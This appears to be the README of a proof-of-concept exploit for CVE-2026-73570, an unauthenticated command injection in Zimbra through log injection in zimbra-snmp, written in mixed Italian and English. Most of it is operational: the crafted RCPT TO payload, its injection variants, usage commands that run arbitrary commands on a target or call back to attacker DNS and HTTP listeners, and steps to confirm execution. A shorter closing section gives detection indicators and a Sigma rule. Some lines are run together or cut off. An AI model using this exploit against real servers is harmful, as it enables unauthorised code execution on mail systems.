
Proof-of-concept exploit per CVE-2026-73570, un'iniezione di comandi OS non autenticata in Zimbra Collaboration Suite tramite iniezione di log in zimbra-snmp, con indicazioni per il rilevamento.
Proof-of-concept exploit per CVE-2026-73570, un'iniezione di comandi OS
non autenticata (CWE-78, CVSS 8.9) in Zimbra Collaboration Suite < 10.1.20 quando il
pacchetto zimbra-snmp è installato e le notifiche SNMP sono abilitate.
Disclaimer: Questo PoC è destinato esclusivamente a test di sicurezza autorizzati, ricerca difensiva e validazione dei propri sistemi. Non utilizzarlo contro qualsiasi sistema di cui non si è proprietari o per cui non si ha esplicita autorizzazione scritta al test.
La funzionalità di notifica SNMP di Zimbra utilizza swatchdog per monitorare
/var/log/zimbra.log per eventi di servizio. Quando una riga di log corrisponde al suo
pattern di watch, il testo corrispondente viene interpolato in un comando shell che invia
la notifica SNMP — senza sanitizzazione.
La catena di attacco:
1. Attacker sends an SMTP session with a crafted RCPT TO address:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
The local part is an RFC 5321 quoted-string, so Postfix accepts the
address syntax (spaces, colons, $(...) included).
2. Postfix rejects the recipient (relay denied / user unknown / sender
restriction) and writes the FULL to=<...> string, quotes stripped, into
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) periodically scans the log and matches its
watchfor pattern "Service status change ... changed from ... to ...".
4. The matched text is interpolated into the SNMP notification shell command
-> $(CMD) is evaluated -> command execution as the `zimbra` user.
Il target deve soddisfare tutti i seguenti requisiti:
zimbra-snmp installatozmlocalconfig | grep -i snmp_notify)Lato attaccante: Python 3 (solo libreria standard, nessuna dipendenza).
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
Opzioni:
| Flag | Descrizione |
|---|---|
-t, --target | IP/hostname SMTP Zimbra target (obbligatorio) |
-p, --port | Porta SMTP (default: 25) |
--tls | Usa STARTTLS (es. porta 587) |
--oob | Dominio DNS OOB o URL di callback HTTP (consigliato) |
--cmd | Comando arbitrario invece del callback OOB |
--fake-host | Hostname all'interno della stringa fake Service status change (default: localhost) |
--check-only | Solo fingerprint, non invia payload |
--delay | Ritardo tra gli invii in secondi (default: 1.0) |
--debug | Stampa il transcript SMTP completo |
Lo script invia ogni comando in diverse varianti di iniezione ($(...),
backtick, ;cmd;#, $({IFS}...)). Per ogni variante, osservare il codice di
risposta RCPT:
| Risposta RCPT | Significato |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | Sintassi dell'indirizzo accettata — la riga di reject con la stringa completa to=<...> è ora nel log. Payload piantato. |
501 5.1.3 Bad recipient address syntax | Postfix ha rifiutato l'indirizzo in fase di parsing — nulla di utile registrato. Lo script riprova automaticamente con un fallback senza virgolette. |
Poi confermare sul server (se si ha accesso):
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/ # if you used --cmd
# or watch your OOB listener for the callback
Se la riga di log è presente ma il comando non viene mai eseguito, le restanti
precondizioni sono lato swatchdog: verificare che il processo sia in esecuzione
(ps aux | grep swatch) e che la sua configurazione stia effettivamente monitorando il
pattern Service status change.
Contesto di esecuzione: i comandi vengono eseguiti come utente zimbra (non root).
fail2ban-client status, iptables -L -n | grep <your_ip>, e conferma
che i pacchetti raggiungano Postfix con tcpdump -i any port 25 and host <your_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ... invece di una
riga NOQUEUE: reject. Usa il grep per il tuo IP attaccante.Indicatori chiave di sfruttamento riuscito:
to=<*: Service status change: *$(...)* all'interno
di una riga di reject di Postfix in /var/log/zimbra.log — praticamente zero falsi
positivi, poiché il testo Service status change non appare mai legittimamente
all'interno di un indirizzo to=<>.sh, bash, curl, wget, nc, python, perl) generato come figlio
di swatchdog / swatch..jsp/.jspx sotto
/opt/zimbra/jetty/webapps/ o /opt/zimbra/jetty_base/webapps/,
file inattesi in /tmp/, nuove voci cron o chiavi SSH per l'utente zimbra,
e connessioni in uscita dal server di posta che non corrispondono al
normale flusso di posta.Esempio di regola Sigma (fase di tentativo):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp fino alla patch.